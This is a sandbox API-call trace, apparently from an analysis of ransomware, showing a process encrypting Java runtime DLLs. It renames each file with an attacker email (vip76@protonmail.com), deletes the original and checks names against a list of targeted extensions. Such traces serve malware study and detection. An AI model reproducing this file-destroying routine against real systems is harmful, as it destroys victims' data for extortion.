	[0086.257] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.257] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0086.257] SetEndOfFile (hFile=0x364) returned 1
	[0086.257] CloseHandle (hObject=0x364) returned 1
	[0086.258] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.258] SetEndOfFile (hFile=0x2c0) returned 1
	[0086.258] CloseHandle (hObject=0x2c0) returned 1
	[0086.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.259] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 1
	[0086.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0086.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0086.259] lstrlenW (lpString=".doc") returned 4
	[0086.259] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.259] lstrlenW (lpString=".docx") returned 5
	[0086.259] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0086.259] lstrlenW (lpString=".pdf") returned 4
	[0086.259] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.259] lstrlenW (lpString=".xls") returned 4
	[0086.259] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.259] lstrlenW (lpString=".xlsx") returned 5
	[0086.259] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0086.259] lstrlenW (lpString=".ppt") returned 4
	[0086.259] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0086.259] lstrlenW (lpString=".zip") returned 4
	[0086.259] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.259] lstrlenW (lpString=".rar") returned 4
	[0086.259] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.259] lstrlenW (lpString=".bz2") returned 4
	[0086.259] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.259] lstrlenW (lpString=".7z") returned 3
	[0086.259] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0086.260] lstrlenW (lpString=".dbf") returned 4
	[0086.260] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0086.260] lstrlenW (lpString=".1cd") returned 4
	[0086.260] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0086.260] lstrlenW (lpString=".jpg") returned 4
	[0086.260] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0086.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0086.260] lstrlenW (lpString=".doc") returned 4
	[0086.260] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.260] lstrlenW (lpString=".docx") returned 5
	[0086.260] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0086.260] lstrlenW (lpString=".pdf") returned 4
	[0086.260] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.260] lstrlenW (lpString=".xls") returned 4
	[0086.260] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.260] lstrlenW (lpString=".xlsx") returned 5
	[0086.260] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0086.260] lstrlenW (lpString=".ppt") returned 4
	[0086.260] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0086.260] lstrlenW (lpString=".zip") returned 4
	[0086.260] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.260] lstrlenW (lpString=".rar") returned 4
	[0086.260] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.260] lstrlenW (lpString=".bz2") returned 4
	[0086.260] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.260] lstrlenW (lpString=".7z") returned 3
	[0086.260] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0086.261] lstrlenW (lpString=".dbf") returned 4
	[0086.261] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0086.261] lstrlenW (lpString=".1cd") returned 4
	[0086.261] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0086.261] lstrlenW (lpString=".jpg") returned 4
	[0086.261] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.261] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0086.261] lstrlenW (lpString="JAWTAccessBridge-64.dll") returned 23
	[0086.261] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0086.261] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=15424) returned 1
	[0086.261] CloseHandle (hObject=0x2c0) returned 1
	[0086.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 0x20
	[0086.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.262] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0086.262] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.262] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.262] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0086.262] GetLastError () returned 0x0
	[0086.262] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x3c40, lpOverlapped=0x0) returned 1
	[0086.265] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x3c50, lpOverlapped=0x0) returned 1
	[0086.266] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.266] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x102, lpOverlapped=0x0) returned 1
	[0086.266] SetEndOfFile (hFile=0x364) returned 1
	[0086.266] CloseHandle (hObject=0x364) returned 1
	[0086.267] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.267] SetEndOfFile (hFile=0x2c0) returned 1
	[0086.271] CloseHandle (hObject=0x2c0) returned 1
	[0086.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.271] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 1
	[0086.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0086.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0086.272] lstrlenW (lpString=".doc") returned 4
	[0086.272] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.272] lstrlenW (lpString=".docx") returned 5
	[0086.272] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0086.272] lstrlenW (lpString=".pdf") returned 4
	[0086.272] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.272] lstrlenW (lpString=".xls") returned 4
	[0086.272] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.272] lstrlenW (lpString=".xlsx") returned 5
	[0086.272] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0086.272] lstrlenW (lpString=".ppt") returned 4
	[0086.272] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0086.272] lstrlenW (lpString=".zip") returned 4
	[0086.272] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.272] lstrlenW (lpString=".rar") returned 4
	[0086.272] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.272] lstrlenW (lpString=".bz2") returned 4
	[0086.272] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.272] lstrlenW (lpString=".7z") returned 3
	[0086.272] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0086.272] lstrlenW (lpString=".dbf") returned 4
	[0086.272] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0086.272] lstrlenW (lpString=".1cd") returned 4
	[0086.272] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0086.272] lstrlenW (lpString=".jpg") returned 4
	[0086.272] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0086.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0086.273] lstrlenW (lpString=".doc") returned 4
	[0086.273] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.273] lstrlenW (lpString=".docx") returned 5
	[0086.273] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0086.273] lstrlenW (lpString=".pdf") returned 4
	[0086.273] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.273] lstrlenW (lpString=".xls") returned 4
	[0086.273] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.273] lstrlenW (lpString=".xlsx") returned 5
	[0086.273] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0086.273] lstrlenW (lpString=".ppt") returned 4
	[0086.273] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0086.273] lstrlenW (lpString=".zip") returned 4
	[0086.273] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.273] lstrlenW (lpString=".rar") returned 4
	[0086.273] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.273] lstrlenW (lpString=".bz2") returned 4
	[0086.273] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.273] lstrlenW (lpString=".7z") returned 3
	[0086.273] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0086.273] lstrlenW (lpString=".dbf") returned 4
	[0086.273] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0086.273] lstrlenW (lpString=".1cd") returned 4
	[0086.273] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0086.273] lstrlenW (lpString=".jpg") returned 4
	[0086.273] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.274] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0086.274] lstrlenW (lpString="jdwp.dll") returned 8
	[0086.274] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0086.275] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=201792) returned 1
	[0086.275] CloseHandle (hObject=0x2c0) returned 1
	[0086.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 0x20
	[0086.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0086.275] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.275] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0086.275] GetLastError () returned 0x0
	[0086.275] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x31440, lpOverlapped=0x0) returned 1
	[0086.470] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x31450, lpOverlapped=0x0) returned 1
	[0086.473] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.473] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0086.473] SetEndOfFile (hFile=0x364) returned 1
	[0086.473] CloseHandle (hObject=0x364) returned 1
	[0086.473] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.473] SetEndOfFile (hFile=0x2c0) returned 1
	[0086.475] CloseHandle (hObject=0x2c0) returned 1
	[0086.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.111] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 1
	[0087.111] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0087.111] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0087.124] lstrlenW (lpString=".doc") returned 4
	[0087.124] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.145] lstrlenW (lpString=".docx") returned 5
	[0087.145] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0087.146] lstrlenW (lpString=".pdf") returned 4
	[0087.146] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.146] lstrlenW (lpString=".xls") returned 4
	[0087.146] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.146] lstrlenW (lpString=".xlsx") returned 5
	[0087.146] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0087.146] lstrlenW (lpString=".ppt") returned 4
	[0087.146] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0087.146] lstrlenW (lpString=".zip") returned 4
	[0087.146] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.146] lstrlenW (lpString=".rar") returned 4
	[0087.146] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.146] lstrlenW (lpString=".bz2") returned 4
	[0087.146] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.146] lstrlenW (lpString=".7z") returned 3
	[0087.146] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0087.146] lstrlenW (lpString=".dbf") returned 4
	[0087.146] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0087.146] lstrlenW (lpString=".1cd") returned 4
	[0087.146] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0087.146] lstrlenW (lpString=".jpg") returned 4
	[0087.146] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0087.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0087.147] lstrlenW (lpString=".doc") returned 4
	[0087.147] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.147] lstrlenW (lpString=".docx") returned 5
	[0087.147] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0087.147] lstrlenW (lpString=".pdf") returned 4
	[0087.147] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.147] lstrlenW (lpString=".xls") returned 4
	[0087.147] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.147] lstrlenW (lpString=".xlsx") returned 5
	[0087.147] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0087.147] lstrlenW (lpString=".ppt") returned 4
	[0087.147] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0087.147] lstrlenW (lpString=".zip") returned 4
	[0087.147] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.147] lstrlenW (lpString=".rar") returned 4
	[0087.147] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.147] lstrlenW (lpString=".bz2") returned 4
	[0087.147] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.147] lstrlenW (lpString=".7z") returned 3
	[0087.147] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0087.147] lstrlenW (lpString=".dbf") returned 4
	[0087.147] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0087.147] lstrlenW (lpString=".1cd") returned 4
	[0087.148] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0087.148] lstrlenW (lpString=".jpg") returned 4
	[0087.148] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.148] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.148] lstrlenW (lpString="jsdt.dll") returned 8
	[0087.148] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.149] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=18496) returned 1
	[0087.149] CloseHandle (hObject=0x388) returned 1
	[0087.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 0x20
	[0087.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.149] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.149] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.149] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.149] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0087.150] GetLastError () returned 0x0
	[0087.150] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x4840, lpOverlapped=0x0) returned 1
	[0087.151] WriteFile (in: hFile=0x338, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x4850, lpOverlapped=0x0) returned 1
	[0087.153] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.153] WriteFile (in: hFile=0x338, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0087.153] SetEndOfFile (hFile=0x338) returned 1
	[0087.153] CloseHandle (hObject=0x338) returned 1
	[0087.153] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.153] SetEndOfFile (hFile=0x388) returned 1
	[0087.154] CloseHandle (hObject=0x388) returned 1
